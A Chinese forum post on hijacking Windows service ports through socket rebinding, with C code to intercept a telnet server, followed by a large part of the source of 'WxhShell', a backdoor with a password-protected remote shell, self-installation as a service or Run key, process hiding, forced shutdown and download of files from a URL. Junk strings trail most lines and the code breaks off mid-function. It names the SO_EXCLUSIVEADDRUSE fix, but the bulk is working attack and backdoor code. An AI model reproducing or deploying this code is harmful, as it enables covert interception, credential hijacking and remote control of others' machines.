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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TE%#$q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "F$o!Vk  
k%}89glm  
  saddr.sin_family = AF_INET; `uh@iD'KI  
|<-F|v9og  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <{420  
rAWl0y_m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +RV-VrV  
xwnoZ&h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :KSor}t  
JhCkkw  
  这意味着什么?意味着可以进行如下的攻击: t-i6FS-  
+xfW`[.{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l(,;wAH  
;{f??G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZuvPDW%  
EB5_;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hpi%9SAM  
vX0"S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7TkxvSL X  
rEyz|k:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s)YP%vn#  
zLQ#GF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RO{@RhnV  
j- YJ."  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a4( ?]ND~6  
]}[Yf  
  #include q|o |/O-{  
  #include Y/,$Y]%g  
  #include wD ],{y  
  #include    nS+FX& _  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #M?F^u[  
  int main() Ah>gC!F^  
  { o}MzqKfu  
  WORD wVersionRequested; J+b!6t}mZn  
  DWORD ret; KO"Jg-6r|  
  WSADATA wsaData; Pc)VK>.fc  
  BOOL val; U2V^T'Y[  
  SOCKADDR_IN saddr; .L7Yf+yFg  
  SOCKADDR_IN scaddr; /^LH  
  int err; 0UGiPH,()  
  SOCKET s; d"I28PIS"  
  SOCKET sc; 'DzBp  
  int caddsize; FU\/JF.j  
  HANDLE mt; )!k_Gb`#X  
  DWORD tid;   ~#"7,rQp  
  wVersionRequested = MAKEWORD( 2, 2 ); )ojx_3j8  
  err = WSAStartup( wVersionRequested, &wsaData ); v0`qMBr1y  
  if ( err != 0 ) { h zZ-$IX X  
  printf("error!WSAStartup failed!\n"); cc41b*ci$  
  return -1; 3X$Q,  
  } iog # ,  
  saddr.sin_family = AF_INET; ?Z Rkn+;  
   e(~'pk"mZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :YqQlr\  
LiZdRr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kxm:g)`=[  
  saddr.sin_port = htons(23); 6KEykw j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lC=N:=Mu  
  { }2ql?K  
  printf("error!socket failed!\n"); 3zB|!p C6s  
  return -1; 7k[pvd|L  
  } > X[|c"l.  
  val = TRUE; p9AZ9xr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X_u@D;$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;h9-}F  
  { v._Egk0  
  printf("error!setsockopt failed!\n"); %9T~8L @.  
  return -1; ]bTzbu@  
  } j9URl$T:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m']9Q3-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EWb(uWC8h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BFMS*t`  
5 [ ,+\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cX %:  
  { (@)2PO /  
  ret=GetLastError(); %1\v7Xw{9  
  printf("error!bind failed!\n"); D[89*@v  
  return -1; -,QKTxwo>  
  } E3S%s  
  listen(s,2); |5=~(-I>@  
  while(1) =`qRu  
  { #%? FM>  
  caddsize = sizeof(scaddr); #)^^_  
  //接受连接请求 #y=ZP:{:t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |*^8~u3J"  
  if(sc!=INVALID_SOCKET) @up&q  
  { q.=^i z&m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I %|@3=Yc  
  if(mt==NULL) ih>a~U<  
  { Z+Yeg  
  printf("Thread Creat Failed!\n"); (9mbF%b  
  break; VK2@2`$  
  } :`0'GM" `  
  } l`@0zw+  
  CloseHandle(mt); xwPI  
  } {y,nFxLq  
  closesocket(s); {Q5KV%F_  
  WSACleanup(); q&zny2])  
  return 0; J>`v.8y  
  }   WD15pq l  
  DWORD WINAPI ClientThread(LPVOID lpParam) iH-bo@  
  { 2E$^_YT C  
  SOCKET ss = (SOCKET)lpParam; >=if8t!  
  SOCKET sc; z)4UMR#b&  
  unsigned char buf[4096]; ;>NP.pnA)  
  SOCKADDR_IN saddr; 9wL!D3e {Q  
  long num; UT3bd,,  
  DWORD val; \un sh^M  
  DWORD ret; "\}b!gl$8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q_ctX|.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8h2D+1,PZC  
  saddr.sin_family = AF_INET; OmB TA=E<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y [W6Sc  
  saddr.sin_port = htons(23); \UQ9MX _  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;\N79)Gk  
  { /"=29sWB  
  printf("error!socket failed!\n"); HHz;0V4w?  
  return -1; r"R(}`<,  
  } ]>5T}h  
  val = 100; {!L=u/qs"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vR7ctav  
  { xEjx]w/&  
  ret = GetLastError(); ]?[zx'|  
  return -1; 2(pLxVl  
  } R]Hz8 _X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yahAD.Xuo@  
  { M~uMY+>   
  ret = GetLastError(); tKwn~T  
  return -1; & x`&03X  
  } Di:{er(p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /vHYM S  
  { d$pYo)8o({  
  printf("error!socket connect failed!\n"); ^f9>l;Lb  
  closesocket(sc); 8qn 9|  
  closesocket(ss); OY:u',T  
  return -1; >-b&v$  
  } 4S tjj!ew  
  while(1) 0; 7#ji  
  { `|nH1sHFq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `19qq]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U_]=E<el  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B`i$Wt<7  
  num = recv(ss,buf,4096,0); j_p`Ng  
  if(num>0) !x>,N%~  
  send(sc,buf,num,0); 69>/@<   
  else if(num==0) ymYBm: "  
  break; 80C(H!^  
  num = recv(sc,buf,4096,0); kVd5,Qd  
  if(num>0) 0Z"s_r}h  
  send(ss,buf,num,0); jgG$'|s}  
  else if(num==0) 6D|p Qs  
  break; /hL\,x 2  
  } F% `zs\  
  closesocket(ss); E, GN|l  
  closesocket(sc); oB p3JX9_f  
  return 0 ; ["u#{>(X  
  } 58::h. :  
OZf6/10O/  
Zae.MO^C!  
========================================================== uQnT[\k?  
H9U .lb  
下边附上一个代码,,WXhSHELL %)?`{O~ h  
@Gt`Ds9=  
========================================================== Or7 mD  
GF*>~_Yr  
#include "stdafx.h" @o6R[5(  
{?Od{d9  
#include <stdio.h> b]T@gJ4H=  
#include <string.h> 9YD\~v;x  
#include <windows.h> eeM?]J-  
#include <winsock2.h> 8] `Ru5nd  
#include <winsvc.h> _g~2R#2Q  
#include <urlmon.h> kO1}?dWpa  
Us]=Y}(  
#pragma comment (lib, "Ws2_32.lib") M diw Ri  
#pragma comment (lib, "urlmon.lib") c;9.KCpwx  
4ZwKpQ6  
#define MAX_USER   100 // 最大客户端连接数 \w%@?Qik  
#define BUF_SOCK   200 // sock buffer ^*0'\/N&  
#define KEY_BUFF   255 // 输入 buffer <`)iA-Df;9  
L_Q S0_1  
#define REBOOT     0   // 重启 {L].T#  
#define SHUTDOWN   1   // 关机 BgM%+b8u  
k[ %aCGo  
#define DEF_PORT   5000 // 监听端口 lNz]H iD  
6Z?Su(s(5  
#define REG_LEN     16   // 注册表键长度 RbEKP(uw  
#define SVC_LEN     80   // NT服务名长度 \9/RAY_G  
a7#?h%wf  
// 从dll定义API eklgLU-+fW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]n;1x1'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &l m#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )"| ||\Iv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 o4^  
"u492^  
// wxhshell配置信息 tlQC6Fb#  
struct WSCFG { H;Ku w  
  int ws_port;         // 监听端口 -_em%o3XC  
  char ws_passstr[REG_LEN]; // 口令 pvF-Y9Xb  
  int ws_autoins;       // 安装标记, 1=yes 0=no vcv CD7MD  
  char ws_regname[REG_LEN]; // 注册表键名 BhkoSkr  
  char ws_svcname[REG_LEN]; // 服务名 [ *>AN7W   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /&^W#U$4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rzUlO5?R=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P6\6?am  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cE\>f8 I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Ms[eB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yCP4r6X0  
pr&=n;_ n  
}; /<{:I \<  
Dd,2;#_  
// default Wxhshell configuration 5)UQWnd5  
struct WSCFG wscfg={DEF_PORT, dg_Gs>?2  
    "xuhuanlingzhe", > ' i  
    1, A6 !F@Ic[  
    "Wxhshell", A&"%os  
    "Wxhshell", ^x m$EY*Y,  
            "WxhShell Service", ?6"{!s{v  
    "Wrsky Windows CmdShell Service", %\Wf^6Y^  
    "Please Input Your Password: ", -oP'4QVb  
  1, ]rN#B-aAr  
  "http://www.wrsky.com/wxhshell.exe", cBXWfv4  
  "Wxhshell.exe" G8J*Wnwu[K  
    }; [0y$! f4  
{<=#*qx[Y!  
// 消息定义模块 />44]A<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f0>!qt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,r8Tbk]m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'xE _Cj  
char *msg_ws_ext="\n\rExit."; Fmr}o(q1  
char *msg_ws_end="\n\rQuit."; yN6>VD{F  
char *msg_ws_boot="\n\rReboot..."; e<cM[6H'D  
char *msg_ws_poff="\n\rShutdown..."; !.TLW  
char *msg_ws_down="\n\rSave to "; :O= \<t  
wW>fVP r  
char *msg_ws_err="\n\rErr!"; 1:M@&1L Yp  
char *msg_ws_ok="\n\rOK!"; X3%Ic`Lq#  
Ul+Mo&y-  
char ExeFile[MAX_PATH]; 6"f}O<M 5H  
int nUser = 0; F?-R$<Cn2~  
HANDLE handles[MAX_USER]; aZ|=(]  
int OsIsNt; #oni:]E!m  
{Ui =b+  
SERVICE_STATUS       serviceStatus; T~:|!`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4\M.6])_   
O"G >wv  
// 函数声明 -E4XIn  
int Install(void); Sa1 l=^  
int Uninstall(void); alq%H}FF  
int DownloadFile(char *sURL, SOCKET wsh); vVl; |  
int Boot(int flag); m P'^%TE  
void HideProc(void); OEx^3z^  
int GetOsVer(void); cLVeT  
int Wxhshell(SOCKET wsl); tptN6Isuh  
void TalkWithClient(void *cs); OTDg5:>  
int CmdShell(SOCKET sock); H1n1-!%d  
int StartFromService(void); NMOut@  
int StartWxhshell(LPSTR lpCmdLine); k%]=!5F  
GL{57  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3B $(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); re?s.djT  
}a AH  
// 数据结构和表定义 ig}A9j?]  
SERVICE_TABLE_ENTRY DispatchTable[] = NKb1LbnZ*y  
{ \*f;Xaa  
{wscfg.ws_svcname, NTServiceMain}, e [_m< e  
{NULL, NULL} ,\2:/>2  
}; E.|-?xQ6  
*^%Q0mU[  
// 自我安装 I/gjenUK  
int Install(void)  -!W<DJ*  
{ b` Hz$8  
  char svExeFile[MAX_PATH]; O3DmNq$dz  
  HKEY key; a2Pf/D]n  
  strcpy(svExeFile,ExeFile); \^7C0R-hX  
OyV<u@[i  
// 如果是win9x系统,修改注册表设为自启动 L@`ouQ"sa  
if(!OsIsNt) { ~w8JH2O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D^%^xq )E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'R`tLN  
  RegCloseKey(key); z4M9M7)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p~ HW5\4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"^wnGa@a  
  RegCloseKey(key); a<}#HfC;'  
  return 0; ]$b[` g&  
    } b306&ZVEk  
  } B(xN Gs  
} >{\7&}gz  
else { ./Q,  
%NL^WG:  
// 如果是NT以上系统,安装为系统服务 ; bHV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _=CZR7:O  
if (schSCManager!=0) !aO` AC=5u  
{ ^WBuMCe  
  SC_HANDLE schService = CreateService Z87_#5  
  ( 5p.rwNE  
  schSCManager, dT,o=8fg  
  wscfg.ws_svcname, "BX!  
  wscfg.ws_svcdisp, E dZ\1'&/9  
  SERVICE_ALL_ACCESS, P) 3mX.(}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .`>y@p!  
  SERVICE_AUTO_START, [q !T Iq  
  SERVICE_ERROR_NORMAL, E4 m`  
  svExeFile, ,|&9M^  
  NULL, ( =~&+z  
  NULL, K2%w0ohC  
  NULL, ,^#yo6-  
  NULL, |$5[(6T|  
  NULL #9K-7je;j  
  ); a7N!B'y  
  if (schService!=0) 3Zi@A4Wu  
  { da)NK!  
  CloseServiceHandle(schService); -B86U6^s  
  CloseServiceHandle(schSCManager); ^%O]P`$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V5*OA??k<  
  strcat(svExeFile,wscfg.ws_svcname); \=_{na_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y ')x/H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6k#Jpmmr  
  RegCloseKey(key); !%$`Eq)M^7  
  return 0; qucq,Yw  
    } L:@7tc.  
  } +\v?d&.f0  
  CloseServiceHandle(schSCManager); pb~pN  
} dAy?EO0\7  
} j~*L~7  
W.kM7z>G  
return 1; 6{txm+U  
} N<~ku<nAU  
O{ #=d  
// 自我卸载 F_CYYGZ  
int Uninstall(void) +SwR+H)?  
{ JQ"U4GVp  
  HKEY key; ~6p[El#tS  
jy'13G/b\  
if(!OsIsNt) { z[Xd%mhjO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KZ/=IP=  
  RegDeleteValue(key,wscfg.ws_regname); K'GBMnjD  
  RegCloseKey(key); ght$9>'n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T?X_c"{8M  
  RegDeleteValue(key,wscfg.ws_regname); R=jI?p  
  RegCloseKey(key); (DI>5.x"  
  return 0; 6'FdGS  
  } qT+%;(  
} X 7rMeu  
} uC cYPvm  
else { U*) 8G  
-,U3fts  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aTt 12Sc  
if (schSCManager!=0) F]<Xv"  
{ o_~eg8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?nL.w  
  if (schService!=0) x9JD\vZ  
  { >D4# y  
  if(DeleteService(schService)!=0) { k?,1x~  
  CloseServiceHandle(schService); ^0 -:G6H  
  CloseServiceHandle(schSCManager); :5{wf Am  
  return 0; DP|D\+YyYA  
  } pS:4CNI{  
  CloseServiceHandle(schService); o,)?!{k}  
  } <*qnY7c&N;  
  CloseServiceHandle(schSCManager); ]?(-[  
} B8}Nvz /  
} %rv7Jy   
t;}:waZD  
return 1; `7r@a  
} 9?SZNL['V  
sc}~8T  
// 从指定url下载文件 z*!%g[3I  
int DownloadFile(char *sURL, SOCKET wsh) I"A_b}~*}  
{ GaK-t*Q  
  HRESULT hr; J|qZ+A[z  
char seps[]= "/"; ax<?GjpM  
char *token; tIuCct-  
char *file; .?loO3 m  
char myURL[MAX_PATH]; :s7m4!EF  
char myFILE[MAX_PATH]; \hx1o\  
&__es{;P  
strcpy(myURL,sURL); r/u A.Aou^  
  token=strtok(myURL,seps); y#3j`. $3p  
  while(token!=NULL) G U( _  
  { `)_dS&_\  
    file=token; r2,.abo  
  token=strtok(NULL,seps); N(Fp0  
  } Tu).K.p:  
AHXSt  
GetCurrentDirectory(MAX_PATH,myFILE); LhA/xf  
strcat(myFILE, "\\"); pu2 tY7J a  
strcat(myFILE, file); G?Q3/y(  
  send(wsh,myFILE,strlen(myFILE),0); N/MUwx;P  
send(wsh,"...",3,0); 8; 0A g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e?8HgiP-  
  if(hr==S_OK) '/^qJ7eb  
return 0; 7+\+DujE$  
else =4FXBPoQK  
return 1; ;wz^gdh;  
)-a'{W/t  
} &E.^jR~*  
ewctkI$,5  
// 系统电源模块 +JjW_Rl?=V  
int Boot(int flag) n[lJLm^(_C  
{ ^\4h<M  
  HANDLE hToken; {y=j?lD  
  TOKEN_PRIVILEGES tkp; K/IWH[  
wk5s)%V  
  if(OsIsNt) { Ab{ K<:l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W04@!_) <  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ahJ`$U4n  
    tkp.PrivilegeCount = 1; n>BkTaI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MkfBu W;)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U:^PC x`  
if(flag==REBOOT) { --$ 4Q(#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cv6'`",Yzm  
  return 0; _V7s#_p  
} x!5'`A!W%  
else { Vl& ?U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TJK[ev};S  
  return 0; *Q ?tl\E  
} #49kjv@  
  } g?z/2zKR  
  else { 1v.c 6~  
if(flag==REBOOT) { Rwz0poG`WG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *U&0<{|T  
  return 0; :~Wrf8 UQ  
} L^@'q6*}  
else { oX30VfT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5z7U1:  
  return 0; \LR~r%(rM  
} &"&Z #llb  
} QdF5Cwf4  
7z JRJ*NB  
return 1; ^c-  
} (l^3Z3zf&  
2 ^h27A  
// win9x进程隐藏模块 <m)$K  
void HideProc(void) D$ dfNiCH  
{ Xg|B \ \  
J:CXW%\ <q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K1 EynU I  
  if ( hKernel != NULL ) I>]oS(GNT  
  { lr>oYS0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5m\<U`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8']M^|1  
    FreeLibrary(hKernel); e7Xeo+/  
  } 6#7Lm) g8  
m$}R%  
return; Wbr|_W  
} !t$'AoVBq  
r`W)0oxD  
// 获取操作系统版本 EofymAi%  
int GetOsVer(void) >,gg5<F-E  
{ >s>1[W@*  
  OSVERSIONINFO winfo; 52:HNA\E/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :61Tun  
  GetVersionEx(&winfo); EMwS1~3dD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! h"Kq>9 T  
  return 1; ,J,/."Y  
  else +b0eE)  
  return 0; ~.{/0T  
} DS+}UO  
:ubV};  
// 客户端句柄模块 PRu 6xsyA  
int Wxhshell(SOCKET wsl) .7e2YI,S  
{ #hfXZVD  
  SOCKET wsh; \KMToN&2  
  struct sockaddr_in client; tItX y  
  DWORD myID; [I '0,y  
nw-xSS{  
  while(nUser<MAX_USER) gw#5jW\  
{ XewVcRo  
  int nSize=sizeof(client); g7}Gip}.>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t3*wjQ3  
  if(wsh==INVALID_SOCKET) return 1; =mS\i663  
nKPYOY8^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s )noo  
if(handles[nUser]==0) `eE&5.   
  closesocket(wsh); Y-kt.X/Z-  
else X 0WJBEE  
  nUser++; Sg&UagBj  
  } ^o^H3m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6t>.[Y"v  
HW3 }uP\c  
  return 0; )j9SGLo  
} hL/)|N~  
K&POyOvT  
// 关闭 socket .a O,8M  
void CloseIt(SOCKET wsh) u$DHVRrF<  
{ Wvbf"hq  
closesocket(wsh); kpJ@M%46  
nUser--; UtPLI al  
ExitThread(0); !}YAdZJ  
} x2OaPlG,&V  
N4^-`  
// 客户端请求句柄 m? eiIrMW  
void TalkWithClient(void *cs) q$I;dOCJ,  
{ 5b*M*e&=C  
K{&mI/ ;  
  SOCKET wsh=(SOCKET)cs; wW7eT~w  
  char pwd[SVC_LEN]; f!\lg  
  char cmd[KEY_BUFF]; `|6'9  
char chr[1]; WKC.$[ T=  
int i,j; /(u}KMR!f  
/qMG=Z  
  while (nUser < MAX_USER) { w`4=_J=GO  
LxYrl-  
if(wscfg.ws_passstr) { }SX,^|eN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?u{~>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |v \_@09=  
  //ZeroMemory(pwd,KEY_BUFF); /xsF90c\h  
      i=0; }+)fMZz  
  while(i<SVC_LEN) { l==``  
Z>QF#."m  
  // 设置超时 +AR5W(&  
  fd_set FdRead; 8J:}%DaxL  
  struct timeval TimeOut; sF|5XjQ  
  FD_ZERO(&FdRead); DgUT5t1  
  FD_SET(wsh,&FdRead); r[2ILe  
  TimeOut.tv_sec=8; 5Sm}n H  
  TimeOut.tv_usec=0; GR&z,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .:@Ykdm4I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fKeT,U`W  
 'C`U"I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _7H7 dV  
  pwd=chr[0]; !k 6K?xt  
  if(chr[0]==0xd || chr[0]==0xa) { DnC{YK  
  pwd=0; E)TN,@%  
  break; iIMd!Q.)@  
  } ~D<IB#C  
  i++; D&od?3}E  
    } "U e. @>  
Mmxlp .l  
  // 如果是非法用户,关闭 socket 5*+!+V^?X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (zgW%{V@  
} 0xxg|;h.,g  
d6'{rje(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @OV|]u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *AG#316  
<oR a3Gi(%  
while(1) { k[bD\'  
@JtM5qB  
  ZeroMemory(cmd,KEY_BUFF); J#w J4!  
}T; P~aG  
      // 自动支持客户端 telnet标准   Tu$f?  
  j=0; WlB  
  while(j<KEY_BUFF) { b<a4'M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (pY 7J  
  cmd[j]=chr[0]; @Fluc,Il  
  if(chr[0]==0xa || chr[0]==0xd) {  `7 vHt`  
  cmd[j]=0; :Pvzl1  
  break; gYNjzew'  
  } W }8'Pf  
  j++; 4.Q} 1%ZN  
    } q@Zn|NR  
=8t]\Y?  
  // 下载文件 +aJ>rR  
  if(strstr(cmd,"http://")) { x.f]1S7h[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fI{ESXU  
  if(DownloadFile(cmd,wsh)) tasIDoo+!J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@sV\"U(*E  
  else ,24p%KJ*X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }@;ep&b*  
  } UELy"z R  
  else { x,rlrxI  
>64P6P;S  
    switch(cmd[0]) { uEktQ_u[  
  qCljo5Tq'  
  // 帮助 U@HK+C"M|  
  case '?': { G`n_YH084  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <L"GqNuRQ  
    break; v{(^1cX  
  } 7uKNd *%  
  // 安装 R$ q; !  
  case 'i': { X#*JWQO=  
    if(Install()) U> cV|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \!k1a^ZP  
    else d/ARm-D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {>R:vH 8  
    break; &X|#R1\  
    } e7m*rh%5>  
  // 卸载 JTr vnA  
  case 'r': { P+s !|7'  
    if(Uninstall()) nSW=LjrO~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eCqHvMp  
    else XiL~TCkx4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t/cY=Wp  
    break; j7jCm:  
    } ;%<,IdhN  
  // 显示 wxhshell 所在路径 6kNrYom  
  case 'p': { !9[>L@#G  
    char svExeFile[MAX_PATH]; _I)U%? V+  
    strcpy(svExeFile,"\n\r"); {4G%:09~J  
      strcat(svExeFile,ExeFile); =h0,?]z  
        send(wsh,svExeFile,strlen(svExeFile),0); [3(7  4  
    break; + Af"f' )  
    } [U5\bX@$  
  // 重启 kS_(wp A  
  case 'b': { `Gn50-@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U^Q:Y}^  
    if(Boot(REBOOT)) "t (p&;d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znxnL,-  
    else { (Dw,DY9  
    closesocket(wsh); [<%H>S1  
    ExitThread(0); bmfI~8  
    } |$vX<. S  
    break; {[+mpKq  
    } vhpNpgz  
  // 关机 DVSL [p?_  
  case 'd': { ~io szX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 43mP]*=A  
    if(Boot(SHUTDOWN)) te3}d'9&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9x w 9l'  
